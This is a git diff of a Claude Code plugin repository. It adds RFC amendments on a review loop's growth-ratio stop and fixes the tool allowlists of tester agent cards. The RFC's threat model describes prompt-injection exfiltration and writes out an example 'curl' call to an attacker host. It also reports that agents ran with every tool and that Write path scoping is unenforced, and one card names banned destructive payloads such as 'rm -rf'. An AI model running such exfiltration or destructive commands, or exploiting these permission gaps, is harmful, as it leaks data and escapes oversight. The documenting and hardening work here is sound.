contract check recognised only flow-style YAML, so a + block-sequence declaration read as *no declaration at all*. +- All three `/premerge` scope guards compared C-quoted paths against raw UTF-8, + reporting correctly-edited non-ASCII files as strays; and + `review-consolidate.sh` had five masked producers where a failed `git` read + as an empty result — one of which silently re-admitted an excluded PR into + the combine. + +### Fixed — vendor provenance + +Six `measured_diff_basis.uberdev_rev` records pinned a SHA on an unmerged +branch, so `V46` failed on clean `main`. Re-pinned to the commit that actually +carries those bytes; the six blobs are byte-identical at both revs, so the +measurement re-derives unchanged. + ## [0.55.1] — 2026-08-23 Packs #750 and #751 as one stack. Both are context-cost work on the eager diff --git a/README.md b/README.md index 7a01ae83..09e2e8df 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,7 @@ **Personal Claude Code marketplace — opinionated GitHub-workflow slash commands.** -[![Version](https://img.shields.io/badge/version-0.55.1-blue)](./CHANGELOG.md) +[![Version](https://img.shields.io/badge/version-0.56.0-blue)](./CHANGELOG.md) [![License](https://img.shields.io/badge/license-MIT-green)](./LICENSE) [![Claude Code](https://img.shields.io/badge/Claude%20Code-plugin-8B5CF6)](https://docs.claude.com/en/docs/claude-code/plugins) [![Repo Agnostic](https://img.shields.io/badge/repo--agnostic-yes-success)](#configuration) diff --git a/docs/rfc/0006-testers-command.md b/docs/rfc/0006-testers-command.md index ea9df179..fde72e15 100644 --- a/docs/rfc/0006-testers-command.md +++ b/docs/rfc/0006-testers-command.md @@ -23,7 +23,7 @@ See spec for the full design. Key choices, locked from brainstorm: - Unattended via dispatch backend (claude-bg/wezterm/background per RFC 0004); `--watch` flag runs inline - 6 personas + 2 monitors = 8 agents per wave; 3 waves per run = 24 agent dispatches per run - Wave-based monitor → persona communication (monitor reads previous wave, generates per-persona follow-ups) -- **Read-only audit** — no agent has `Edit` or general `Write` on app code; `allowed-tools` whitelisted per agent +- **Read-only audit** — every agent card declares a `tools:` whitelist (the key the agent loader honours) and none of the eight names `Edit`, so the loader withholds it. That is a tool-NAME ceiling and the whole of what a card can impose: the personas keep a `Write` no card confines to a directory, so "read-only on app code" is a contract the squad is held to rather than a restriction that stops it — see the #749 amendment under §Risks - No early-stop; all personas run to budget (`max_actions: 200`, `max_clock_seconds: 300` per persona-wave) ## Alternatives considered @@ -45,6 +45,12 @@ None. New command, no breaking changes. Add `/testers` alias to `aliases-sync.sh - **Hallucinated bugs:** see spec section 8; defenses are evidence-anchor requirement + invariant_violated requirement + cross-persona confirmation. - **Egress / prompt-injection exfil:** the 6 persona agents allow `Bash(curl*)` so they can replay requests, probe headers, and follow redirects against arbitrary audit targets (localhost, staging, user-supplied URLs). A hijacked prompt could in principle invoke `curl https://attacker.example/?leak=...`. Mitigations: (a) the audit target is supplied by the operator on a deliberate `/uberdev:testers` invocation — not auto-triggered; (b) `--rps-cap` (default 10) provides hard pre-emptive enforcement at the curl-wrapper layer (`lib/rate-limit-curl.sh`) and post-hoc audit + fail-the-run enforcement for browser-MCP traffic that cannot be HTTP-wrapped. `max_clock_seconds: 300` per persona-wave bounds the *temporal* exfil surface; together they bound exfil bandwidth to ≤ `RPS_CAP × 300 = 3000 requests per persona-wave` (default). Note: the audit fires *after* a breach has occurred — there is a single-wave detection latency for the browser-MCP surface, which is acceptable because the breach already constitutes a failed-run condition. Pre-emptive enforcement for MCP traffic would require a CDP-level interceptor and is out of scope. (c) the read-only contract (no `Edit`, scoped `Write(.uberdev/research/*)`) means an injected prompt cannot pivot to credential theft from the repo; (d) operators auditing third-party prompts should run the squad in a sandboxed shell with no `~/.aws`, `~/.ssh`, or `~/.config/gh` access on the user the agent runs as. +> **Amendment (2026-08-23, #749).** Mitigation (c) above was NOT in force between this RFC's implementation and #749. All eight `testers-*` agent cards declared their allowlist under `allowed-tools:`, which is the slash-command frontmatter key; an agent card is read for `tools:`, so the loader ignored the declaration and every persona ran with all tools — including `Edit` and unrestricted `Write` over the repository, the one grant this design says they must not hold. The guard did not see it either: `tests/testers-agent-contract.test.sh` C5 grepped the same ignored key and returned clean when it was absent. #749 moves all eight declarations onto `tools:`, re-points C5 at `tools:` and gives it a mutation row that proves it can fail, and adds a policy-to-frontmatter cross-check to `tests/model-routing.test.sh` so the `sandbox_ceiling` field is compared against the cards instead of only against itself. The write grant is corrected in the same change rather than carried across verbatim: the single-segment `Write(.uberdev/research/*)` named in (c) above does not admit the path the runtime actually hands a persona — `.uberdev/research//testers/scratch//out.yaml`, four segments deeper — so enforcing that pattern as written would have denied the one write these agents make, which is the squad's entire evidence channel. What lands is `Write(.uberdev/research/**)`, the pattern that does admit it — but that records which text the card carries, not what binds at runtime; the paragraph below draws that line, because only half of (c) comes back. The remaining agents whose `read-only` ceiling is still unprojected — the six Phase 1 review lenses among them — are named in the shrink-only waiver in that cross-check; any list written for them has to include `Write` rather than deny it, because they write a result file `/uberdev:review-pr` validates from disk — and, per the paragraph below, a scope inside its parentheses would narrow nothing anyway. +> +> **What the migration restores, and what it does not.** Moving the eight declarations onto the honoured key restores a *tool-name* restriction, and that is the whole of it: the loader now reads the list, so a persona's roster is the tools its card names and nothing more — `Edit` is not among them, where for the whole preceding window every persona held every tool. It does **not** restore the path scoping (c)'s parenthetical describes. A `tools:` entry filters tool *names*; the pattern inside its parentheses is not matched against a filesystem path, so `Write(.uberdev/research/**)` grants the `Write` tool and confines it to no directory. Nor can the missing half be supplied as a file-permission rule of that shape — the runtime rejects the spelling outright: *"`Write(...)` is not matched by file permission checks — only `Edit(path)` rules are. Use `Edit(...)` instead (`Edit` rules cover all file-editing tools)."* Under `--dangerously-skip-permissions`, the mode this repo actually runs, a persona carrying a `Write(.uberdev/research/*)` scope was observed during #749 writing outside that directory. (#749 established what a parenthetical means for `Write` only; it did not establish what a `Bash(...)` pattern narrows, so nothing here is a bound on what a persona can do *through* the tools it does still hold.) +> +> So (c) comes back in half. The half that lands is real and is what this amendment records: the window in which the allowlist was ignored entirely is closed. The other half was never in force, and no agent-card key can put it in force — the only shape file-permission checks match is `Edit()`, which is a permission rule rather than a card grant. Adopting one is out of scope for #749, and it is not a drop-in either: the shape the checker matches is named for the very tool the §Design read-only bullet says these agents must not hold, so reconciling the two is a decision this amendment defers rather than makes. Until it is made the residual gap stands — nothing in the cards stops a hijacked persona from writing anywhere in the repository — and mitigations (a), (b) and (d) are what remain load-bearing against it. + ## Integration - Reuses `lib/dispatch.sh` (RFC 0004), `findings-to-issues` agent, reviewer YAML contract, `.uberdev/research/$RUN_ID/` artifact convention. diff --git a/docs/rfc/0021-premerge-stack-integration.md b/docs/rfc/0021-premerge-stack-integration.md index 9d6742fc..2eb910c3 100644 --- a/docs/rfc/0021-premerge-stack-integration.md +++ b/docs/rfc/0021-premerge-stack-integration.md @@ -866,3 +866,284 @@ another. `## Phase 3b — CONVERGE`, `## Common Mistakes`) and `_fingerprint`'s docstring state the same distinction at the code. This amendment is what keeps the design authority from outranking them with the retired premise. + +### A5 — the growth ratio is computed and stops the loop (2026-08-23) + +A5 is the first code change made under A3, and it discharges A3's second +corollary rather than its constraint set. A3 closed, verbatim: + +> **A3 changes no code.** It ratifies the diagnosis and the constraint set; the +> loop that ships today is A1's, unmodified, and stays that way until a design +> satisfying C1–C8 is written and amended in. + +From this amendment on, the second half of that sentence no longer describes the +shipped tree: the loop carries one new measurement and one new stop, and C1–C8 +are not satisfied. A3's text is retained as written — it is the record of what +was decided then — and narrowed here, the way A4 narrows §8 and A1. + +The narrowing is precise. C1–C8 are constraints on **replacing the reviewed +surface**, and every one of them is still open. Phase 1 still re-reviews the +whole stack every attempt, so §1's finding — that the loop makes its own +haystack grow, and that the generator's rate is roughly constant per unit +reviewed — is undiminished. A5 adds a predicate over the sampler A1 already +runs, computed from artifacts the run already writes. **It detects the pump; it +does not stop the pumping. It stops the loop.** + +That is also what keeps it on the right side of the general law A3 states. +`GROWTH` is a predicate fixed before the loop starts, with a written threshold +and a written streak length, and it never reads a critic's silence: +`blockers == 0` remains a coin that has to land empty, and no stop introduced +here turns on it. + +#### What it computes + +A3's corollary 2 named the quantity: + +> That ratio — findings landing in text the previous round wrote, over total +> findings — is a cheap, computable divergence signal, and at 100% it says stop +> rather than repair again. + +`cmd_converge` now computes it as a set intersection, at the point where it +already holds both attempts' evidence: + +``` +GROWTH(N) = |{ b in blockers(N) : b.file in modified(N-1) + and b.fingerprint not in blockers(N-1) }| + / |blockers(N)| +``` + +`blockers(N)` is attempt N's `classified-.json`; `modified(N-1)` is +`fix-scope-.modified`, the list the fix-commit fence's scope guard already +writes. Both sit inside the run directory `converge` is already handed, so there +is no new artifact, no new phase and no new argument. The value is printed as a +`GROWTH=` field on the existing `PREMERGE_CONVERGE` line and recorded under a +`growth` key on the existing `converge.jsonl` row; the number compared against +the threshold is the same two-decimal value the line prints, so the field an +operator reads and the decision the run took cannot disagree. + +The fingerprint exclusion is load-bearing, not an optimisation. The wave plan +assigns exactly the files this attempt's blockers named, so a **survivor** — a +blocker the fixer was handed and did not clear — always sits in a modified file. +Counted, it would drive a loop that is converging with residual findings to 1.00 +and stop it on its own success. Excluded, the numerator counts only fingerprints +the previous attempt's evidence did not carry, so it can never exceed the `NEW=` +count already on the same line, which is what makes that line internally +checkable. + +Because the reviewed surface is unchanged, the denominator is the same +population `BLOCKERS=` already reports. C2's hazard — consumers reading one +attempt's findings as if they described the whole stack — is a consequence of +C1's shrinking surface and is not created here. + +#### The stop + +`STOP_SELF_REFERENTIAL` joins the closed `CONVERGE_DECISIONS` vocabulary as a +new cascade arm, after `STOP_NO_PROGRESS` and before the budget check that +yields `STOP_EXHAUSTED`. It fires when `GROWTH` is at or above +`CONVERGE_GROWTH_CEILING` (`0.50`) on `CONVERGE_GROWTH_RUNS` (`2`) consecutive +**measured** attempts, the earlier one read off that attempt's own ledger row +rather than carried in a variable a fence could forget. The pipeline SKILL +restates both numbers as `PREMERGE_GROWTH_CEILING` and `PREMERGE_GROWTH_RUNS`, +the way it restates the loop's other constants. + +- **0.50 is break-even, and it is chosen rather than calibrated.** The numerator + is work the last repair authored; the complement is work the loop inherited. + At 0.50 a repair round manufactured exactly as much new work as it took from + the inherited pile, and above it the repair is a net generator — every further + round enlarges its own haystack. The two runs recorded in #754 were computed + by hand, over whole runs, not by the code that ships here: the pumped run at + 1.00 and the converging one at 0.20. They bound the threshold — any value in + (0.20, 1.00] separates them — without determining it. +- **Two rounds, because A3 §2 (*Blockers are resampled; only suggestions have a + ledger*) is still true.** Attempt N's blocker set is a fresh sample, so a + defect present since attempt 1 but first rolled at attempt 3 counts as new — + and the files most likely to be resampled are exactly the ones the repair just + touched. One high round is therefore consistent with a healthy convergence + whose repairs happen to be concentrated in a few files, and firing on it would + reproduce, for a new detector, the failure C3 names for an old one: "the real + failure is that they stop a loop that was working." No run has yet produced a + two-round streak from the shipped code — A3's own drafting is the nearest + recorded case, and that is a single round at 6/6 — so the streak length is the + conservative choice this argument supports, not a number read off data. +- **It pre-empts `STOP_EXHAUSTED` on purpose.** "The loop was still winning, + raise `--converge`" and "the loop was reviewing itself" are opposite operator + responses, and the budget stop says the first about a run that did the second. + +Nothing it stops is discarded. `STOP_SELF_REFERENTIAL` is a not-green stop like +every other stop here, so the run reaches Phase 5 with `PREMERGE_SURVIVORS=1`, +which is what adds `--include-blockers` to the `defer` call and puts every +surviving blocker into the aggregate that becomes issues. The ratio's claim is +"not *this loop's* work", never "not work" — corollary 1, record incompleteness +as scope rather than chasing it as a bug, applied to the loop's own output. It +also closes no gate: a run ending here is not green, so C5 is untouched. + +#### Why this is a signal and not a proof + +Three limits, recorded so the next amendment is checked against them instead of +rediscovering them. + +**File granularity over-counts.** The precise question is whether a finding +landed in text the previous repair *wrote*; what is measured is whether it +landed in a **file** that repair modified. A genuinely new defect four hundred +lines from the repair hunk counts as growth. The precise version needs diff-hunk +mapping against a review pointed at one repair's delta, and C8 records that no +such dispatch exists — the only reviewer this pipeline has accepts a PR, a +branch or a path, and a two-SHA range is not in that surface. So the proxy errs +toward stopping, which is what the two-round requirement exists to absorb. +Making it precise belongs to the C1–C8 work, not to a follow-up on this one. + +**The measurement is blind on any round whose repair committed nothing.** The +fix-commit fence exits early with `REASON=no-edits` on a clean tree and writes +no `fix-scope-.modified` at all, and a repair that only re-ran CI commits +nothing. Those attempts report `GROWTH=-`, which means *not measured* and is a +different answer from `0.00`: there was no repair to attribute the round's +findings to, and printing zero would be reporting a measurement nobody took. + +**So the guard is incomplete, not defeatable.** A pump interleaved with no-edit +rounds never accumulates two consecutive measured rounds and so never trips this +stop. That is a gap, not a bypass — the run then behaves exactly as it does +today and ends at `STOP_EXHAUSTED` on the budget. Today's behaviour is the floor +every degraded path falls back to: an unmeasurable ratio, an unreadable scope +list, attempt 1, or an attempt with no blockers to divide by all report `-` and +change no decision. Failing closed here would stop a loop that is working, which +is the one direction this measurement must not fail in. + +#### What this does not change + +The A1 ordering (gate before repair), the line-independent multiset fingerprint, +`STOP_NO_PROGRESS` / `STOP_REGRESSED` and their inputs, `cmd_assert_green`'s +`blockers_remaining` gate, the fixer prompt's prohibition on weakening tests, +controller-only commits, and the wave scope guard are all untouched. The +reviewed surface is still the whole stack, every attempt. C1–C8 remain the open +constraint set for the design that changes that, and A5 is not it. + +### A6 — the growth population narrowed after A5 (2026-08-24) + +A5 is the design authority for `STOP_SELF_REFERENTIAL`, and it was accurate +against the tree it landed on. Two later changes narrowed the detector without +touching the amendment: #766 put a second kind of row into the array A5's formula +divides by, and the first two `/premerge` repair rounds on the stack that +combined #765 with #766 excluded that row from the ratio and added a term to the +stop. A5 is **retained as written** — the record of what was decided on +2026-08-23 — and narrowed here, the way A5 narrows A3 and A4 narrows §8. + +Both narrowings run the same way. `GROWTH` speaks about a **smaller** population +than A5 gives it, and the stop asks **one more question** than A5 records. + +#### 1. A carried row counts on neither side + +A5's *What it computes* reads, verbatim: + +> ``` +> GROWTH(N) = |{ b in blockers(N) : b.file in modified(N-1) +> and b.fingerprint not in blockers(N-1) }| +> / |blockers(N)| +> ``` +> +> `blockers(N)` is attempt N's `classified-.json` + +When that was written, the array held one kind of row: a blocker a reviewer +raised. A5 says nothing about carried rows because there were none to say +anything about. + +**#766 put a second kind in the same array.** A fixer whose honest scope spans +two files now returns `blocked_on_file`, and `_read_blocked_on` turns each such +path into a blocker finding on the **next** attempt, stamped +`blocked_on_carry: True` and carrying a controller-authored summary that states a +scheduling fact rather than a defect. Up to `MAX_BLOCKED_ON` (`8`) of them can +enter one attempt. They are blockers because the wave plan and the clean gate +have to see them — otherwise a run whose only outstanding work was carried gated +green, dispatched nothing and filed nothing — but no reviewer raised them. + +**They are excluded from both sides, not one.** `_growth_ratio` iterates +`_reviewer_blockers(document["blockers"])`, and the previous attempt's evidence +reaches it through `_blocker_fingerprints`, which iterates the same filter. So +`blockers(N)`, `blockers(N-1)` and the divisor all mean *the reviewer-raised rows +of* that array — and `-` for "no blockers to divide by" now means no +reviewer-raised blocker: an attempt holding nothing but carried rows reports `-`, +not a ratio. + +The numerator half is forced. A path is carried precisely BECAUSE the previous +fixer could not edit it, so it is never in `fix-scope-.modified` and could +not have satisfied the membership test anyway. The **denominator** half is the +load-bearing one: left in the divisor, a row that can never be counted dilutes +the ratio every round, and the suppression is largest on the runs with the most +cross-file churn — exactly the runs `STOP_SELF_REFERENTIAL` exists for. Two +suppressed rounds in a row is all it takes for it never to fire. + +Executed against the shipped module — one reviewer-raised blocker in a file the +last repair modified, alongside one carried consequence: + +| | stored `blockers` array | divisor | `BLOCKERS=` | `GROWTH=` | +| --- | --- | --- | --- | --- | +| shipped | 2 | 1 | 1 | `1.00` | +| A5's formula as written | 2 | 2 | — | `0.50` | + +**A5's other denominator claim survives intact.** "the denominator is the same +population `BLOCKERS=` already reports" is still true: `BLOCKERS=` is +`_blocker_fingerprints`' multiset total, and the two narrowed together through +`_reviewer_blockers` — which is also the single derivation +`counts.blocker_reviewer` uses, so the three spellings of that population cannot +drift apart. What changed is what the shared population *is*, not that the two +agree. + +#### 2. The streak test has a third term + +A5's *The stop* reads, verbatim: + +> It fires when `GROWTH` is at or above `CONVERGE_GROWTH_CEILING` (`0.50`) on +> `CONVERGE_GROWTH_RUNS` (`2`) consecutive **measured** attempts + +`_growth_round_counts` — one predicate, applied to this round's numbers and then +to the previous round's own `converge.jsonl` columns — asks **three** things of +each round. It is measured; it is at or above the ceiling; **and +`blockers >= previous_blockers`**, the round did not reduce the reviewer-raised +blocker count. + +The third term is not defensive plumbing. `GROWTH=` answers *what is the residual +made of*, never *which way is this going*, and those two come apart in one +direction: the denominator is the residual, so it shrinks as the loop succeeds, +while the numerator counts findings the reviewer newly sampled in the file the +repair just touched — the file it was always likeliest to resample. **The ratio +therefore rises toward `1.00` precisely as a run converges.** Reproduced against +the shipped module with `--max-repairs 5`: five blockers, then four cleared +leaving one survivor and one new (`0.50`), then one more cleared leaving one +survivor and one new (`0.50`) — `STOP_SELF_REFERENTIAL` on a run that went +5 → 2 → 2, with three of five repair rounds unspent. `CONVERGE_GROWTH_RUNS` does +not mitigate it: at two rounds, a single new finding in a repaired file *is* +`0.50`, twice running. + +That is C3's failure with the ratio's own name on it — the failure A5 argues +against for one high round and then leaves undefended for two. A round that +removed more of the reviewer's blockers than it was left holding is a round in +which repairing demonstrably worked, whatever its residual is made of, so it is +not eligible to be half of a divergence streak. The ratio is still measured, +still printed and still recorded on such a round; a genuine pump, which by +definition is not reducing the count, reaches the ceiling on consecutive eligible +rounds exactly as A5 describes. + +Executed against the shipped predicate at `GROWTH=0.50`: + +| round | `previous_blockers` → `blockers` | eligible | +| --- | --- | --- | +| count held | 5 → 5 | yes | +| count grew | 2 → 5 | yes | +| count fell | 5 → 2 | **no** | +| not measured (`GROWTH=-`) | any | **no** | + +#### What this does not change + +The threshold (`0.50`), the streak length (`2`), the cascade position (after +`STOP_NO_PROGRESS`, before `STOP_EXHAUSTED`), the file-granularity proxy and its +recorded limits, `GROWTH=-` meaning *not measured* rather than `0.00`, and the +survivors reaching Phase 5 through `--include-blockers` are all as A5 wrote them. +Carried rows leave the **evidence** questions only: they still enter the wave +plan, still gate `blockers_remaining=`, and are still filed — at the §5 +`SUGGESTION` tier, via `_as_deferred_carry_row` — when the loop stops with the +edit outstanding. + +`skills/premerge-pipeline/SKILL.md` (`## Phase 3b — CONVERGE`) and the docstrings +on `_growth_ratio`, `_reviewer_blockers` and `_growth_round_counts` state both +narrowings at the code. This amendment is what stops the design authority +outranking them with the wider population. C1–C8 remain the open constraint set, +and A6, like A5, is not the design that closes them. diff --git a/plugins/uberdev/.claude-plugin/plugin.json b/plugins/uberdev/.claude-plugin/plugin.json index d06fda29..ad0ad569 100644 --- a/plugins/uberdev/.claude-plugin/plugin.json +++ b/plugins/uberdev/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "uberdev", - "version": "0.55.1", + "version": "0.56.0", "description": "Production-grade Claude Code plugin: parallel-fanout PR review, autonomous GitHub issue triage and resolution via Workflow-native solver fleets (one worktree-isolated agent per issue; detached wezterm / background transports remain opt-in; cross-platform — macOS, Linux, WSL2, native Windows), brainstorm/plan/execute workflows with wave-based subagent dispatch.", "author": { "name": "TheFJK", diff --git a/plugins/uberdev/agents/testers-a11y-critic.md b/plugins/uberdev/agents/testers-a11y-critic.md index f6c03cfa..67bfc05d 100644 --- a/plugins/uberdev/agents/testers-a11y-critic.md +++ b/plugins/uberdev/agents/testers-a11y-critic.md @@ -4,7 +4,7 @@ description: Accessibility-critic persona for /uberdev:testers. Audits keyboard- # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: cyan -allowed-tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_press_key", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_evaluate", "Write(.uberdev/research/*)"] +tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "StructuredOutput", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_press_key", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_evaluate", "mcp__plugin_playwright_playwright__browser_resize", "Write(.uberdev/research/**)"] --- You are the **a11y-critic** persona in a `/uberdev:testers` squad audit. @@ -81,7 +81,10 @@ When a `StructuredOutput` tool is available (the Workflow dispatch path), ALSO r ## Rules -- Read-only. Scoped Write only. +- Read-only. Your `tools` list is a ceiling over tool NAMES — `Edit` is not on + it — and that is the whole of what an agent card can impose. It confines your + `Write` to no directory, so writing only to your scratch path is a rule you + follow, not one the loader enforces. - Evidence anchored (screenshot + a11y snapshot diff). - No early-stop. - Anti-loop. diff --git a/plugins/uberdev/agents/testers-adversarial-security.md b/plugins/uberdev/agents/testers-adversarial-security.md index 1a30ac20..ac62a0cf 100644 --- a/plugins/uberdev/agents/testers-adversarial-security.md +++ b/plugins/uberdev/agents/testers-adversarial-security.md @@ -4,7 +4,7 @@ description: Adversarial-security persona for /uberdev:testers. Probes XSS/SQLi/ # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: red -allowed-tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(node*)", "Bash(date*)", "Bash(jq*)", "Read", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_fill_form", "mcp__plugin_playwright_playwright__browser_evaluate", "mcp__plugin_playwright_playwright__browser_run_code_unsafe", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_network_requests", "mcp__plugin_playwright_playwright__browser_network_request", "mcp__plugin_playwright_playwright__browser_console_messages", "Write(.uberdev/research/*)"] +tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(node*)", "Bash(date*)", "Bash(jq*)", "Read", "StructuredOutput", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_fill_form", "mcp__plugin_playwright_playwright__browser_evaluate", "mcp__plugin_playwright_playwright__browser_run_code_unsafe", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_network_requests", "mcp__plugin_playwright_playwright__browser_network_request", "mcp__plugin_playwright_playwright__browser_console_messages", "Write(.uberdev/research/**)"] --- You are the **adversarial-security** persona in a `/uberdev:testers` squad audit. @@ -84,7 +84,10 @@ When a `StructuredOutput` tool is available (the Workflow dispatch path), ALSO r ## Rules -- **Read-only.** No `Edit`, no general `Write`. +- **Read-only.** Your `tools` list is a ceiling over tool NAMES — `Edit` is not + on it — and that is the whole of what an agent card can impose. It confines + your `Write` to no directory, so writing only to your scratch path is a rule + you follow, not one the loader enforces. - **No production targets.** Refuse to run if the target matches `prod_url_patterns` in `.uberdev/config.yaml`. - **No destructive payloads.** No `DROP TABLE`, no `; rm -rf`, no payloads that mutate beyond a single request. - **Evidence required.** Drop unanchored findings. diff --git a/plugins/uberdev/agents/testers-chaos-engineer.md b/plugins/uberdev/agents/testers-chaos-engineer.md index dc6a10a9..92c52701 100644 --- a/plugins/uberdev/agents/testers-chaos-engineer.md +++ b/plugins/uberdev/agents/testers-chaos-engineer.md @@ -4,7 +4,7 @@ description: Chaos-engineering persona for /uberdev:testers. Runs flows under Sl # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: purple -allowed-tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_network_requests", "mcp__plugin_playwright_playwright__browser_console_messages", "Write(.uberdev/research/*)"] +tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "StructuredOutput", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_network_requests", "mcp__plugin_playwright_playwright__browser_console_messages", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__emulate", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__navigate_page", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__take_snapshot", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__click", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__fill", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__take_screenshot", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__list_network_requests", "mcp__plugin_chrome-devtools-mcp_chrome-devtools__list_console_messages", "Write(.uberdev/research/**)"] --- You are the **chaos-engineer** persona in a `/uberdev:testers` squad audit. @@ -29,7 +29,24 @@ You are the **chaos-engineer** persona in a `/uberdev:testers` squad audit. - `max_actions: 200` - `max_clock_seconds: 300` -- Throttle profiles to cycle: Slow 3G, Offline, CPU 4x, baseline. +- Throttle profiles to cycle: Slow 3G, Offline, CPU 4x, baseline. Set every one + of them with `mcp__plugin_chrome-devtools-mcp_chrome-devtools__emulate`: + `networkConditions: "Slow 3G"` / `"Offline"`, `cpuThrottlingRate: 4`, and the + same call with both omitted to return to baseline. +- **One lane per scenario.** `emulate` throttles the *chrome-devtools* page; the + Playwright `browser_*` tools drive a *separate* browser instance the throttle + never reaches. Drive a throttled scenario end to end on the chrome-devtools + tools — `navigate_page`, `take_snapshot` (for the element `uid`s `click` and + `fill` need), `take_screenshot`, `list_network_requests`, + `list_console_messages`. Never report a profile you set on one lane as the + conditions of a flow you ran on the other: that is a fabricated evidence + anchor, and the mandatory `repro_steps` throttle line below is what it falsifies. +- **If the `chrome-devtools` tools are not available in this run, you cannot + throttle.** Say exactly that in your `verdict` rationale and mark every + network-conditioned finding `repro_steps` with `throttle profile: baseline + (throttling unavailable)`. Do not label an unthrottled run as Slow 3G, Offline + or CPU 4x — a run you could not degrade is a run that produced no chaos + evidence, and reporting it as degraded is worse than reporting nothing. - **Polite-rate (enforcement):** for every `curl` request, invoke the executable shim `lib/rl-curl` as a SINGLE command word, with the per-call values from your dispatch prompt — never a compound export/source form, and never ambient env: @@ -84,7 +101,10 @@ When a `StructuredOutput` tool is available (the Workflow dispatch path), ALSO r ## Rules -- Read-only. Scoped Write only. +- Read-only. Your `tools` list is a ceiling over tool NAMES — `Edit` is not on + it — and that is the whole of what an agent card can impose. It confines your + `Write` to no directory, so writing only to your scratch path is a rule you + follow, not one the loader enforces. - Evidence anchored. No invariant, no finding. - No early-stop. - Anti-loop. diff --git a/plugins/uberdev/agents/testers-mobile-thumb.md b/plugins/uberdev/agents/testers-mobile-thumb.md index 604b766c..0b6c0b30 100644 --- a/plugins/uberdev/agents/testers-mobile-thumb.md +++ b/plugins/uberdev/agents/testers-mobile-thumb.md @@ -4,7 +4,7 @@ description: Mobile-thumb persona for /uberdev:testers. 375px viewport, touch-on # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: green -allowed-tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_resize", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "Write(.uberdev/research/*)"] +tools: ["Bash(curl*)", "Bash(*/lib/rl-curl*)", "Bash(echo*)", "Bash(date*)", "Read", "StructuredOutput", "mcp__plugin_playwright_playwright__browser_navigate", "mcp__plugin_playwright_playwright__browser_click", "mcp__plugin_playwright_playwright__browser_type", "mcp__plugin_playwright_playwright__browser_resize", "mcp__plugin_playwright_playwright__browser_take_screenshot", "mcp__plugin_playwright_playwright__browser_snapshot", "mcp__plugin_playwright_playwright__browser_evaluate", "mcp__plugin_playwright_playwright__browser_console_messages", "Write(.uberdev/research/**)"] --- You are the **mobile-thumb** persona in a `/uberdev:testers` squad audit. @@ -84,7 +84,10 @@ When a `StructuredOutput` tool is available (the Workflow dispatch path), ALSO r ## Rules -- Read-only. Scoped Write only. +- Read-only. Your `tools` list is a ceiling over tool NAMES — `Edit` is not on + it — and that is the whole of what an agent card can impose. It confines your + `Write` to no directory, so writing only to your scratch path is a rule you + follow, not one the loader enforces. - Evidence anchored. - No invariant, downgrade to suggestion. - No early-stop. Anti-loop. diff --git a/plugins/uberdev/agents/testers-monitor-devils-advocate.md b/plugins/uberdev/agents/testers-monitor-devils-advocate.md index 049e0566..bbf8ad2b 100644 --- a/plugins/uberdev/agents/testers-monitor-devils-advocate.md +++ b/plugins/uberdev/agents/testers-monitor-devils-advocate.md @@ -4,7 +4,7 @@ description: Devil's-advocate monitor for /uberdev:testers. Challenges every cla # WAIT 4.8 sonnet: was sonnet; using inherit (= session Opus 4.8 1M) until Sonnet 4.8 ships model: inherit color: magenta -allowed-tools: ["Bash(date*)", "Bash(jq*)", "Read", "Write(.uberdev/research/*)"] +tools: ["Bash(date*)", 